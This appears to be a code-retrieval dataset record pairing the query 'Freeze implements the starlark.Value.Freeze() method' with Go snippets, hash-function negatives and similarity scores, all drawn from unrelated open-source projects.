fmt.Sprint(h.Explode.Value))\n\tf = append(f, fmt.Sprint(h.AllowReserved.Value))\n\tif h.Schema.Value != nil {\n\t\tf = append(f, low.GenerateHashString(h.Schema.Value))\n\t}\n\tif h.Example.Value != nil {\n\t\tf = append(f, fmt.Sprint(h.Example.Value))\n\t}\n\tif len(h.Examples.Value) > 0 {\n\t\tfor k := range h.Examples.Value {\n\t\t\tf = append(f, fmt.Sprintf(\"%s-%x\", k.Value, h.Examples.Value[k].Value.Hash()))\n\t\t}\n\t}\n\tif len(h.Content.Value) > 0 {\n\t\tfor k := range h.Content.Value {\n\t\t\tf = append(f, fmt.Sprintf(\"%s-%x\", k.Value, h.Content.Value[k].Value.Hash()))\n\t\t}\n\t}\n\tkeys := make([]string, len(h.Extensions))\n\tz := 0\n\tfor k := range h.Extensions {\n\t\tkeys[z] = fmt.Sprintf(\"%s-%x\", k.Value, sha256.Sum256([]byte(fmt.Sprint(h.Extensions[k].Value))))\n\t\tz++\n\t}\n\tsort.Strings(keys)\n\tf = append(f, keys...)\n\treturn sha256.Sum256([]byte(strings.Join(f, \"|\")))\n}", "func (l *LexerATNConfig) Hash() int {\n\tvar f int\n\tif l.passedThroughNonGreedyDecision {\n\t\tf = 1\n\t} else {\n\t\tf = 0\n\t}\n\th := murmurInit(7)\n\th = murmurUpdate(h, l.state.GetStateNumber())\n\th = murmurUpdate(h, l.alt)\n\th = murmurUpdate(h, l.context.Hash())\n\th = murmurUpdate(h, l.semanticContext.Hash())\n\th = murmurUpdate(h, f)\n\th = murmurUpdate(h, l.lexerActionExecutor.Hash())\n\th = murmurFinish(h, 6)\n\treturn h\n}", "func (bol Boolean) Hash() int {\n\tif bol {\n\t\treturn 1\n\t}\n\treturn 0\n}", "func (set *lalrSet) hash() (val uint32) {\n\t// Need hash to be order independent, so\n\t// just XOR everything.\n\tfor _, list := range(set.items) {\n\t\tfor _, item := range(list) {\n\t\t\tval = val ^ item.hash()\n\t\t}\n\t}\n\n\treturn\n}", "func (p Path) Hash() (uint32, error) {\n\treturn adler32.Checksum([]byte(p)), nil\n}", "func (n *node) Hash() []byte {\n\treturn n.hash\n}", "func Hash(t *Token) (hash []byte) {\n var sum []byte\n\n // Compute the SHA1 sum of the Token\n {\n shasum := sha1.Sum([]byte(salt+string(*t)))\n copy(sum[:], shasum[:20])\n }\n\n // Encode the sum to hexadecimal\n hex.Encode(sum, sum)\n\n return\n}", "func (m MapEntry) Hash() uint32 {\n\treturn sequtil.Hash(m.key)\n}", "func hash(ls prometheus.Tags) uint64 {\n\tlbs := make(labels.Labels, 0, len(ls))\n\tfor k, v := range ls {\n\t\tlbs = append(lbs, labels.Label{\n\t\t\tName: k,\n\t\t\tValue: v,\n\t\t})\n\t}\n\n\tsort.Slice(lbs[:], func(i, j int) bool {\n\t\treturn lbs[i].Name < lbs[j].Name\n\t})\n\n\treturn lbs.Hash()\n}", "func (obj *object) Hash() int {\n\treturn obj.hash\n}", "func (c *ColumnValue) Hash() uint64 {\n\tif c == nil {\n\t\treturn cache.NewHash(FragmentType_ColumnValue, nil)\n\t}\n\treturn cache.NewHash(FragmentType_ColumnValue, c.Column, c.Operator, c.Value)\n}", "func (in *Instance) hash(x, y, mu *big.Int, T uint64) *big.Int {\n\tb := sha512.New()\n\tb.Write(x.Bytes())\n\tb.Write(y.Bytes())\n\tb.Write(mu.Bytes())\n\tbits := make([]byte, 8)\n\tbinary.LittleEndian.PutUint64(bits, T)\n\tb.Write(bits)\n\tres := new(big.Int).SetBytes(b.Sum(nil))\n\tres.Mod(res, in.rsaModulus)\n\treturn res\n}", "func (s SampleList) Hash(i int) []byte {\n\tres := md5.Sum(s[i])\n\treturn res[:]\n}", "func (n Number) Hash() int {\n\tf, err := json.Number(n).Float64()\n\tif err != nil {\n\t\tbs := []byte(n)\n\t\th := xxhash.Checksum64(bs)\n\t\treturn int(h)\n\t}\n\treturn int(f)\n}", "func (source *Source) Hash() int {\n\tvar hash int\n\n\tif len(source.Prefix) > 0 {\n\t\tfor _, b := range source.Prefix {\n\t\t\thash = int(b*31) + hash\n\t\t}\n\t}\n\n\thash = int(source.PrefixLen*31) + hash\n\thash = int(source.RouterId*31) + hash\n\n\treturn hash\n}", "func (r *Restriction) hash() ([]byte, error) {\n\tj, err := json.Marshal(r)\n\tif err != nil {\n\t\treturn nil, errors.WithStack(err)\n\t}\n\treturn hashUtils.SHA512(j), nil\n}", "func (i *Instance) Hash(extraBytes []byte) (string, error) {\n\t//nolint:gosec // not being used for secure purposes\n\th := sha1.New()\n\n\t// copy by value to ignore ETag without affecting i\n\ti2 := *i\n\ti2.ETag = \"\"\n\n\tinstanceBytes, err := bson.Marshal(i2)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tif _, err := h.Write(append(instanceBytes, extraBytes...)); err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn fmt.Sprintf(\"%x\", h.Sum(nil)), nil\n}", "func (h *kustHash) Hash(m ifc.Kunstructured) (string, error) {\n\tu := unstructured.Unstructured{\n\t\tObject: m.Map(),\n\t}\n\tkind := u.GetKind()\n\tswitch kind {\n\tcase \"ConfigMap\":\n\t\tcm, err := unstructuredToConfigmap(u)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\treturn configMapHash(cm)\n\tcase \"Secret\":\n\t\tsec, err := unstructuredToSecret(u)\n\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\treturn secretHash(sec)\n\tdefault:\n\t\treturn \"\", fmt.Errorf(\n\t\t\t\"type %s is not supported for hashing in %v\",\n\t\t\tkind, m.Map())\n\t}\n}", "func (p Primitive) Hash() string {\n\treturn p.Name()\n}", "func (d Data32) Hash() Hash {\n\treturn hash(d)\n}", "func (n *notifier) hash(other *memberlist.Node) uint64 {\n\treturn uint64(murmur.Murmur3([]byte(other.Name), murmur.M3Seed))\n}", "func encodeHash(x uint64, p, pPrime uint) (hashCode uint64) {\n\tif x&onesFromTo(64-pPrime, 63-p) == 0 {\n\t\tr := rho(extractShift(x, 0, 63-pPrime))\n\t\treturn concat([]concatInput{\n\t\t\t{x, 64 - pPrime, 63},\n\t\t\t{uint64(r), 0, 5},\n\t\t\t{1, 0, 0}, // this just adds a 1 bit at the end\n\t\t})\n\t} else {\n\t\treturn concat([]concatInput{\n\t\t\t{x, 64 - pPrime, 63},\n\t\t\t{0, 0, 0}, // this just adds a 0 bit at the end\n\t\t})\n\t}\n}", "func (obj *set) Hash() hash.Hash {\n\treturn obj.hash\n}", "func (h *MemHash) Hash() uint32 {\n\tss := (*stringStruct)(unsafe.Pointer(&h.buf))\n\treturn uint32(memhash(ss.str, 0, uintptr(ss.len)))\n}", "func (d Data256) Hash() Hash {\n\treturn hash(d)\n}", "func hash(values ...[]byte) ([]byte, error) {\n\th := swarm.NewHasher()\n\tfor _, v := range values {\n\t\t_, err := h.Write(v)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\treturn h.Sum(nil), nil\n}", "func (c Call) Hash() int {\n\treturn termSliceHash(c)\n}", "func hash(stav Stav) uint64{\n\tstr := \"\"\n\n\tfor i := 0; i < len(stav.Auta); i++ {\n\t\tstr += stav.Auta[i].Farba\n\t\tstr += strconv.Itoa(int(stav.Auta[i].X))\n\t\tstr += strconv.Itoa(int(stav.Auta[i].Y))\n\t\tstr += strconv.FormatBool(stav.Auta[i].Smer)\n\t\tstr += strconv.Itoa(int(stav.Auta[i].Dlzka))\n\t}\n\n\th := fnv.New64a()\n\th.Write([]byte(str))\n\treturn h.Sum64()\n\n}", "func (gdt *Array) Hash() Int {\n\targ0 := gdt.getBase()\n\n\tret := C.go_godot_array_hash(GDNative.api, arg0)\n\n\treturn Int(ret)\n}", "func Hash(b []byte, seed uint64) uint64", "func (t *Table) hash(s string) int {\n\t// Good enough.\n\th := fnv.New32()\n\th.Write([]byte(s))\n\treturn int(h.Sum32()) % t.m\n}", "func (e EmptyNode) Hash() util.Uint256 {\n\tpanic(\"can't get hash of an EmptyNode\")\n}", "func (o *ExportData) Hash() string {\n\targs := make([]interface{}, 0)\n\targs = append(args, o.CustomerID)\n\targs = append(args, o.ID)\n\targs = append(args, o.IntegrationInstanceID)\n\targs = append(args, o.JobID)\n\targs = append(args, o.Objects)\n\targs = append(args, o.RefID)\n\targs = append(args, o.RefType)\n\to.Hashcode = hash.Values(args...)\n\treturn o.Hashcode\n}", "func hash(k Key) int {\n\tkey := fmt.Sprintf(\"%s\", k)\n\th := 0\n\tfor i := 0; i < len(key); i++ {\n\t\th = 31 * h + int(key[i])\n\t}\n\treturn h\n}", "func (t *Target) hash() uint64 {\n\th := fnv.New64a()\n\n\t//nolint: errcheck\n\th.Write([]byte(fmt.Sprintf(\"%016d\", t.labels.Hash())))\n\t//nolint: errcheck\n\th.Write([]byte(t.URL().String()))\n\n\treturn h.Sum64()\n}", "func hash(m datasource.Metric) uint64 {\n\thash := fnv.New64a()\n\tlabels := m.Labels\n\tsort.Slice(labels, func(i, j int) bool {\n\t\treturn labels[i].Name < labels[j].Name\n\t})\n\tfor _, l := range labels {\n\t\t// drop __name__ to be consistent with Prometheus alerting\n\t\tif l.Name == \"__name__\" {\n\t\t\tcontinue\n\t\t}\n\t\thash.Write([]byte(l.Name))\n\t\thash.Write([]byte(l.Value))\n\t\thash.Write([]byte(\"\\xff\"))\n\t}\n\treturn hash.Sum64()\n}", "func (t *smallFlatTable) Hash() hash.Hash { return t.hash }", "func (obj *chunk) Hash() hash.Hash {\n\treturn obj.immutable.Hash()\n}", "func (d Data) Hash() Hash {\n\treturn hash(d)\n}", "func (dtk *DcmTagKey) Hash() uint32 {\n\treturn ((uint32(int(dtk.group)<<16) & 0xffff0000) | (uint32(int(dtk.element) & 0xffff)))\n}", "func Hash(seed maphash.Seed, k Key) uint64 {\n\tvar buf [8]byte\n\tswitch v := k.(type) {\n\tcase mapKey:\n\t\treturn hashMapKey(seed, v)\n\tcase interfaceKey:\n\t\ts := v.Hash()\n\t\t// Mix up the hash to ensure it covers 64-bits\n\t\tbinary.LittleEndian.PutUint64(buf[:8], uint64(s))\n\t\treturn hashBytes(seed, buf[:8])\n\tcase strKey:\n\t\treturn hashString(seed, string(v))\n\tcase bytesKey:\n\t\treturn hashBytes(seed, []byte(v))\n\tcase int8Key:\n\t\tbuf[0] = byte(v)\n\t\treturn hashBytes(seed, buf[:1])\n\tcase int16Key:\n\t\tbinary.LittleEndian.PutUint16(buf[:2], uint16(v))\n\t\treturn hashBytes(seed, buf[:2])\n\tcase int32Key:\n\t\tbinary.LittleEndian.PutUint32(buf[:4], uint32(v))\n\t\treturn hashBytes(seed, buf[:4])\n\tcase int64Key:\n\t\tbinary.LittleEndian.PutUint64(buf[:8], uint64(v))\n\t\treturn hashBytes(seed, buf[:8])\n\tcase uint8Key:\n\t\tbuf[0] = byte(v)\n\t\treturn hashBytes(seed, buf[:1])\n\tcase uint16Key:\n\t\tbinary.LittleEndian.PutUint16(buf[:2], uint16(v))\n\t\treturn hashBytes(seed, buf[:2])\n\tcase uint32Key:\n\t\tbinary.LittleEndian.PutUint32(buf[:4], uint32(v))\n\t\treturn hashBytes(seed, buf[:4])\n\tcase uint64Key:\n\t\tbinary.LittleEndian.PutUint64(buf[:8], uint64(v))\n\t\treturn hashBytes(seed, buf[:8])\n\tcase float32Key:\n\t\tbinary.LittleEndian.PutUint32(buf[:4], math.Float32bits(float32(v)))\n\t\treturn hashBytes(seed, buf[:4])\n\tcase float64Key:\n\t\tbinary.LittleEndian.PutUint64(buf[:8], math.Float64bits(float64(v)))\n\t\treturn hashBytes(seed, buf[:8])\n\tcase boolKey:\n\t\tif v {\n\t\t\tbuf[0] = 1\n\t\t}\n\t\treturn hashBytes(seed, buf[:1])\n\tcase sliceKey:\n\t\treturn hashSliceKey(seed, v)\n\tcase pointerKey:\n\t\treturn hashSliceKey(seed, v.sliceKey)\n\tcase pathKey:\n\t\treturn hashSliceKey(seed, v.sliceKey)\n\tcase nilKey:\n\t\treturn hashBytes(seed, nil)\n\tcase Hashable:\n\t\t// Mix up the hash to ensure it covers 64-bits\n\t\tbinary.LittleEndian.PutUint64(buf[:8], v.Hash())\n\t\treturn hashBytes(seed, buf[:8])\n\tdefault:\n\t\ts := _nilinterhash(v.Key())\n\t\tbinary.LittleEndian.PutUint64(buf[:8], uint64(s))\n\t\treturn hashBytes(seed, buf[:8])\n\t}\n}", "func Hash(mem []byte) uint64 {\n\tvar hash uint64 = 5381\n\tfor _, b := range mem {\n\t\thash = (hash << 5) + hash + uint64(b)\n\t}\n\treturn hash\n}", "func (spec Spec) DeepHash() string {\n\thash := sha512.New512_224()\n\tspec.DefaultService.hash(hash)\n\tfor _, rule := range spec.Rules {\n\t\trule.hash(hash)\n\t}\n\tsvcs := make([]string, len(spec.AllServices))\n\ti := 0\n\tfor k := range spec.AllServices {\n\t\tsvcs[i] = k\n\t\ti++\n\t}\n\tsort.Strings(svcs)\n\tfor _, svc := range svcs {\n\t\thash.Write([]byte(svc))\n\t\tspec.AllServices[svc].hash(hash)\n\t}\n\tspec.ShardCluster.hash(hash)\n\thash.Write([]byte(spec.VCL))\n\tfor _, auth := range spec.Auths {\n\t\tauth.hash(hash)\n\t}\n\tfor _, acl := range spec.ACLs {\n\t\tacl.hash(hash)\n\t}\n\tfor _, rw := range spec.Rewrites {\n\t\trw.hash(hash)\n\t}\n\tfor _, reqDisp := range spec.Dispositions {\n\t\treqDisp.hash(hash)\n\t}\n\th := new(big.Int)\n\th.SetBytes(hash.Sum(nil))\n\treturn h.Text(62)\n}" ]
[ "0.7138284", "0.7119623", "0.7041903", "0.700204", "0.7000892", "0.69765645", "0.6946901", "0.69159335", "0.69111687", "0.6884624", "0.68813616", "0.6854573", "0.6839519", "0.68087643", "0.68017894", "0.6779525", "0.6749075", "0.67478395", "0.6744907", "0.6727617", "0.66851336", "0.6683878", "0.66792506", "0.6667716", "0.6653189", "0.66493165", "0.66328806", "0.6597665", "0.6597063", "0.6596404", "0.6592299", "0.6580989", "0.6574767", "0.65641445", "0.6557275", "0.6555275", "0.65539527", "0.6548095", "0.6542581", "0.6530705", "0.65281284", "0.65240616", "0.65198684", "0.6508872", "0.6507938", "0.6487107", "0.6486554", "0.6477679", "0.647389", "0.6473444", "0.64730334", "0.6470614", "0.64632285", "0.6462884", "0.6446518", "0.6442148", "0.64393836", "0.6434532", "0.6423657", "0.64192003", "0.6406657", "0.6400822", "0.64000094", "0.6399469", "0.639899", "0.6398343", "0.6398244", "0.6397757", "0.63953525", "0.6382421", "0.63788843", "0.63755345", "0.6375003", "0.63731766", "0.6359296", "0.6357537", "0.6354525", "0.634988", "0.6342756", "0.6339535", "0.6333529", "0.63264585", "0.6322571", "0.63204396", "0.63193166", "0.6316662", "0.6316102", "0.63160074", "0.63152075", "0.63105017", "0.6309715", "0.6307885", "0.63074785", "0.63059074", "0.630408", "0.63034046", "0.62977403", "0.62975895", "0.6296842", "0.62967694" ]
0.6391269
69
Freeze implements the starlark.Value.Freeze() method.
func (s *Sub) Freeze() {}
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (i *Index) Freeze() {\n\ti.frozen = true\n}", "func (p *Poly) freeze() {\n\tfor i := 0; i < n; i++ {\n\t\tp[i] = freeze(p[i])\n\t}\n}", "func freeze(o *goja.Object) {\n\tfor _, key := range o.Keys() {\n\t\to.DefineDataProperty(key, o.Get(key), goja.FLAG_FALSE, goja.FLAG_FALSE, goja.FLAG_TRUE)\n\t}\n}", "func (df *DataFrame) Freeze() { df.frozen = true }", "func (i *Instance) Freeze() {\n}", "func (t *Target) Freeze() {}", "func (v *ReadCloserValue) Freeze() {}", "func Freeze(x int32) int32 {\n\tx -= 9829 * ((13*x) >> 17)\n\tx -= 9829 * ((427*x + 2097152) >> 22)\n\ty := x + 9829\n\tv := subtle.ConstantTimeLessOrEq(int(x), -1)\n\treturn int32(subtle.ConstantTimeSelect(v, int(y), int(x)))\n}", "func (f *chainFreezer) freeze(db database.KeyValueStore) {\n\tnfdb := &nofreezedb{KeyValueStore: db}\n\n\tvar (\n\t\tbackoff bool\n\t\ttriggered chan struct{} // Used in tests\n\t)\n\tfor {\n\t\tselect {\n\t\tcase <-f.quit:\n\t\t\tlog.Info(\"Freezer shutting down\")\n\t\t\treturn\n\t\tdefault:\n\t\t}\n\t\tif backoff {\n\t\t\t// If we were doing a manual trigger, notify it\n\t\t\tif triggered != nil {\n\t\t\t\ttriggered <- struct{}{}\n\t\t\t\ttriggered = nil\n\t\t\t}\n\t\t\tselect {\n\t\t\tcase <-time.NewTimer(freezerRecheckInterval).C:\n\t\t\t\tbackoff = false\n\t\t\tcase triggered = <-f.trigger:\n\t\t\t\tbackoff = false\n\t\t\tcase <-f.quit:\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\t// Retrieve the freezing threshold.\n\t\thash := ReadHeadBlockHash(nfdb)\n\t\tif hash == (common.Hash{}) {\n\t\t\tlog.Debug(\"Current full block hash unavailable\") // new chain, empty database\n\t\t\tbackoff = true\n\t\t\tcontinue\n\t\t}\n\t\tnumber := ReadHeaderNumber(nfdb, hash)\n\t\tthreshold := atomic.LoadUint64(&f.threshold)\n\t\tfrozen := atomic.LoadUint64(&f.frozen)\n\t\tswitch {\n\t\tcase number == nil:\n\t\t\tlog.Error(\"Current full block number unavailable\", \"hash\", hash)\n\t\t\tbackoff = true\n\t\t\tcontinue\n\n\t\tcase *number < threshold:\n\t\t\tlog.Debug(\"Current full block not old enough\", \"number\", *number, \"hash\", hash, \"delay\", threshold)\n\t\t\tbackoff = true\n\t\t\tcontinue\n\n\t\tcase *number-threshold <= frozen:\n\t\t\tlog.Debug(\"Ancient blocks frozen already\", \"number\", *number, \"hash\", hash, \"frozen\", frozen)\n\t\t\tbackoff = true\n\t\t\tcontinue\n\t\t}\n\t\thead := ReadHeader(nfdb, hash, *number)\n\t\tif head == nil {\n\t\t\tlog.Error(\"Current full block unavailable\", \"number\", *number, \"hash\", hash)\n\t\t\tbackoff = true\n\t\t\tcontinue\n\t\t}\n\n\t\t// Seems we have data ready to be frozen, process in usable batches\n\t\tvar (\n\t\t\tstart = time.Now()\n\t\t\tfirst, _ = f.Ancients()\n\t\t\tlimit = *number - threshold\n\t\t)\n\t\tif limit-first > freezerBatchLimit {\n\t\t\tlimit = first + freezerBatchLimit\n\t\t}\n\t\tancients, err := f.freezeRange(nfdb, first, limit)\n\t\tif err != nil {\n\t\t\tlog.Error(\"Error in block freeze operation\", \"err\", err)\n\t\t\tbackoff = true\n\t\t\tcontinue\n\t\t}\n\n\t\t// Batch of blocks have been frozen, flush them before wiping from leveldb\n\t\tif err := f.Sync(); err != nil {\n\t\t\tlog.Critical(\"Failed to flush frozen tables\", \"err\", err)\n\t\t}\n\n\t\t// Wipe out all data from the active database\n\t\tbatch := db.NewBatch()\n\t\tfor i := 0; i < len(ancients); i++ {\n\t\t\t// Always keep the genesis block in active database\n\t\t\tif first+uint64(i) != 0 {\n\t\t\t\tDeleteBlockWithoutNumber(batch, ancients[i], first+uint64(i))\n\t\t\t\tDeleteCanonicalHash(batch, first+uint64(i))\n\t\t\t}\n\t\t}\n\t\tif err := batch.Write(); err != nil {\n\t\t\tlog.Critical(\"Failed to delete frozen canonical blocks\", \"err\", err)\n\t\t}\n\t\tbatch.Reset()\n\n\t\t// Wipe out side chains also and track dangling side chains\n\t\tvar dangling []common.Hash\n\t\tfrozen = atomic.LoadUint64(&f.frozen) // Needs reload after during freezeRange\n\t\tfor number := first; number < frozen; number++ {\n\t\t\t// Always keep the genesis block in active database\n\t\t\tif number != 0 {\n\t\t\t\tdangling = ReadAllHashes(db, number)\n\t\t\t\tfor _, hash := range dangling {\n\t\t\t\t\tlog.Debug(\"Deleting side chain\", \"number\", number, \"hash\", hash)\n\t\t\t\t\tDeleteBlock(batch, hash, number)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif err := batch.Write(); err != nil {\n\t\t\tlog.Critical(\"Failed to delete frozen side blocks\", \"err\", err)\n\t\t}\n\t\tbatch.Reset()\n\n\t\t// Step into the future and delete and dangling side chains\n\t\tif frozen > 0 {\n\t\t\ttip := frozen\n\t\t\tfor len(dangling) > 0 {\n\t\t\t\tdrop := make(map[common.Hash]struct{})\n\t\t\t\tfor _, hash := range dangling {\n\t\t\t\t\tlog.Debug(\"Dangling parent from Freezer\", \"number\", tip-1, \"hash\", hash)\n\t\t\t\t\tdrop[hash] = struct{}{}\n\t\t\t\t}\n\t\t\t\tchildren := ReadAllHashes(db, tip)\n\t\t\t\tfor i := 0; i < len(children); i++ {\n\t\t\t\t\t// Dig up the child and ensure it's dangling\n\t\t\t\t\tchild := ReadHeader(nfdb, children[i], tip)\n\t\t\t\t\tif child == nil {\n\t\t\t\t\t\tlog.Error(\"Missing dangling header\", \"number\", tip, \"hash\", children[i])\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\tif _, ok := drop[child.ParentHash]; !ok {\n\t\t\t\t\t\tchildren = append(children[:i], children[i+1:]...)\n\t\t\t\t\t\ti--\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\t// Delete all block data associated with the child\n\t\t\t\t\tlog.Debug(\"Deleting dangling block\", \"number\", tip, \"hash\", children[i], \"parent\", child.ParentHash)\n\t\t\t\t\tDeleteBlock(batch, children[i], tip)\n\t\t\t\t}\n\t\t\t\tdangling = children\n\t\t\t\ttip++\n\t\t\t}\n\t\t\tif err := batch.Write(); err != nil {\n\t\t\t\tlog.Critical(\"Failed to delete dangling side blocks\", \"err\", err)\n\t\t\t}\n\t\t}\n\n\t\t// Log something friendly for the user\n\t\tcontext := []interface{}{\n\t\t\t\"blocks\", frozen - first, \"elapsed\", common.PrettyDuration(time.Since(start)), \"number\", frozen - 1,\n\t\t}\n\t\tif n := len(ancients); n > 0 {\n\t\t\tcontext = append(context, []interface{}{\"hash\", ancients[n-1]}...)\n\t\t}\n\t\tlog.Infof(\"Deep froze chain segment: %+v\", context...)\n\n\t\t// Avoid database thrashing with tiny writes\n\t\tif frozen-first < freezerBatchLimit {\n\t\t\tbackoff = true\n\t\t}\n\t}\n}", "func (c *Container) Freeze() *Container {\n\tif c == nil {\n\t\treturn nil\n\t}\n\tif c.flags&flagDirty != 0 {\n\t\tif roaringParanoia {\n\t\t\tpanic(\"freezing dirty container\")\n\t\t}\n\t\t// c.Repair won't work if this is already frozen, but in\n\t\t// theory that can't happen?\n\t\tc.Repair()\n\t}\n\t// don't need to freeze\n\tif c.flags&flagFrozen != 0 {\n\t\treturn c\n\t}\n\tc.flags |= flagFrozen\n\treturn c\n}", "func (me TxsdAnimTimingAttrsFill) IsFreeze() bool { return me.String() == \"freeze\" }", "func (g *metadataGraph) freeze(ctx context.Context) {\n\tg.root.freeze(ctx)\n}", "func (d *Dam) Unlock() {\n\td.freeze.Unlock()\n}", "func (p Path) Freeze() {}", "func main() {\n\tx := new(int)\n\t*x++ // ok\n\n\tx = freeze(x)\n\n\tfmt.Println(*x) // ok; prints 1\n\t//*x++ // not ok; panics!\n}", "func (recv *Object) FreezeNotify() {\n\tC.g_object_freeze_notify((*C.GObject)(recv.native))\n\n\treturn\n}", "func (sa *SuffixArray) Freeze() error { return sa.ba.Freeze() }", "func (s *inMemSpannerServer) Unfreeze() {\n\ts.mu.Lock()\n\tdefer s.mu.Unlock()\n\tclose(s.freezed)\n}", "func (iv *writeOnlyInterval) freeze(s *Schema) (*Interval, error) {\n\tif err := iv.closeCurrentSegment(); err != nil {\n\t\treturn nil, err\n\t}\n\n\tiv.Segments = make([]*Segment, iv.NumSegments)\n\tfor i := 0; i < iv.NumSegments; i++ {\n\t\tif !iv.DiskBacked {\n\t\t\tiv.Segments[i] = &Segment{Bytes: iv.buffers[i].Bytes()}\n\t\t\tcontinue\n\t\t}\n\t\tfilename := iv.SegmentFilename(s, i)\n\t\tf, err := os.Open(filename)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tmapped, err := mmap.Map(f, mmap.RDONLY, 0)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tiv.Segments[i] = &Segment{File: f, Bytes: mapped}\n\t}\n\treturn &iv.Interval, nil\n}", "func (d *Director) FreezeMonkey(rng *rand.Rand, intensity float64) {\n\tif intensity < 0.1 {\n\t\treturn\n\t}\n\ttarget := d.randomAgent(rng)\n\tduration := d.makeDuration(rng, 1000, intensity)\n\tlog.Printf(\"[monkey] Freezing %v for %v\", target, duration)\n\tgo target.Stop(duration)\n}", "func NewFreezeParams() *FreezeParams {\n\treturn &FreezeParams{\n\t\ttimeout: cr.DefaultTimeout,\n\t}\n}", "func (_OracleMgr *OracleMgrCaller) FreezePeriod(opts *bind.CallOpts) (*big.Int, error) {\n\tvar (\n\t\tret0 = new(*big.Int)\n\t)\n\tout := ret0\n\terr := _OracleMgr.contract.Call(opts, out, \"freezePeriod\")\n\treturn *ret0, err\n}", "func (*CapturedStacktrace) Freeze() {}", "func (s *Client) Freeze(username string) error {\n\tuser := s.Init(username)\n\tdata, err := json.Marshal(user)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ts.lock.Lock()\n\tdefer s.lock.Unlock()\n\n\ttx, err := s.db.Begin()\n\tif err != nil {\n\t\treturn err\n\t}\n\tstmt, err := tx.Prepare(`INSERT OR REPLACE INTO frozen_user (user_id, data)VALUES((SELECT id FROM users WHERE username = ?), ?);`)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer stmt.Close()\n\t_, err = stmt.Exec(username, string(data))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn tx.Commit()\n}", "func (n *SoupNode) Freeze() {}", "func (kb *KubeBackend) Unfreeze() error {\n\tlogrus.Infof(\"set deployment %s replica=1\", kb.ID())\n\tdeployment, err := kb.manager.di.Lister().Deployments(kb.manager.namespace).Get(kb.ID())\n\tif err != nil {\n\t\tif err := kb.manager.syncBackend(kb.ID()); err != nil {\n\t\t\tlogrus.Warnf(\"sycn app with error: %v\", err)\n\t\t}\n\t\treturn err\n\t}\n\tif *deployment.Spec.Replicas != 0 {\n\t\treturn nil\n\t}\n\tvar targetReplica int32 = 1\n\tdeployment.Spec.Replicas = &targetReplica\n\t_, err = kb.manager.client.AppsV1().Deployments(kb.manager.namespace).\n\t\tUpdate(context.Background(), deployment, metav1.UpdateOptions{})\n\tif err != nil {\n\t\treturn err\n\t}\n\tkb.Lock()\n\tkb.stateStarting = true\n\tkb.stateHealthy = false\n\tkb.Unlock()\n\treturn nil\n}", "func (n *metadataNode) freeze(ctx context.Context) {\n\tn.assertNonFrozen()\n\n\t// md may be already non-nil for the root, this is fine.\n\tif n.md == nil {\n\t\tn.md = mergeIntoPrefixMetadata(ctx, n.prefix, n.acls)\n\t}\n\tn.acls = nil // mark as frozen, release unnecessary memory\n\n\tfor _, child := range n.children {\n\t\tchild.freeze(ctx)\n\t}\n}", "func (o *FreezeParams) WithTimeout(timeout time.Duration) *FreezeParams {\n\to.SetTimeout(timeout)\n\treturn o\n}", "func (d *Dam) Lock() {\n\td.freeze.Lock()\n}", "func updateFrozenState(db *IndexerDb, assetID uint64, closedAt *uint64, creator, freeze, holder types.Address) error {\n\t// Semi-blocking migration.\n\t// Hold accountingLock for the duration of the Transaction search + account_asset update.\n\tdb.accountingLock.Lock()\n\tdefer db.accountingLock.Unlock()\n\n\tminRound := uint64(0)\n\tif closedAt != nil {\n\t\tminRound = *closedAt\n\t}\n\n\tholderb64 := encoding.Base64(holder[:])\n\trow := db.db.QueryRow(freezeTransactionsQuery, freeze[:], holderb64, assetID, minRound)\n\tvar found uint64\n\terr := row.Scan(&found)\n\tif err != nil && err != sql.ErrNoRows {\n\t\treturn err\n\t}\n\n\t// If there are any freeze transactions then the default no longer applies.\n\t// Exit early if the asset was frozen\n\tif found != 0 {\n\t\treturn nil\n\t}\n\n\t// If there were no freeze transactions, re-initialize the frozen value.\n\tfrozen := !bytes.Equal(creator[:], holder[:])\n\tdb.db.Exec(`UPDATE account_asset SET frozen = $1 WHERE assetid = $2 and addr = $3`, frozen, assetID, holder[:])\n\n\treturn nil\n}", "func (_OracleMgr *OracleMgrCallerSession) FreezePeriod() (*big.Int, error) {\n\treturn _OracleMgr.Contract.FreezePeriod(&_OracleMgr.CallOpts)\n}", "func (r *RunCtx) Freeze() {\n}", "func (o *FreezeParams) WithContext(ctx context.Context) *FreezeParams {\n\to.SetContext(ctx)\n\treturn o\n}", "func (r *AccountDIDRegistry) UnFreeze(did DID) error {\n\texist := r.HasAccountDID(did)\n\tif !exist {\n\t\treturn fmt.Errorf(\"did %s not existed\", did)\n\t}\n\treturn r.auditStatus(did, Normal)\n}", "func (transaction *TokenUpdateTransaction) SetFreezeKey(publicKey Key) *TokenUpdateTransaction {\n\ttransaction._RequireNotFrozen()\n\ttransaction.freezeKey = publicKey\n\treturn transaction\n}", "func (c *TickMap) Freeze() []string {\n\tc.mlock.Lock()\n\tdefer c.mlock.Unlock()\n\ts := make([]string, len(c.m))\n\ti := 0\n\tfor key, _ := range c.m {\n\t\ts[i] = key\n\t\ti++\n\t}\n\treturn s\n}", "func (_OracleMgr *OracleMgrSession) FreezePeriod() (*big.Int, error) {\n\treturn _OracleMgr.Contract.FreezePeriod(&_OracleMgr.CallOpts)\n}", "func (o *FreezeParams) WithDefaults() *FreezeParams {\n\to.SetDefaults()\n\treturn o\n}", "func (r *AccountDIDRegistry) Freeze(did DID) error {\n\texist := r.HasAccountDID(did)\n\tif !exist {\n\t\treturn fmt.Errorf(\"did %s not existed\", did)\n\t}\n\treturn r.auditStatus(did, Frozen)\n}", "func (m *ClusterService) 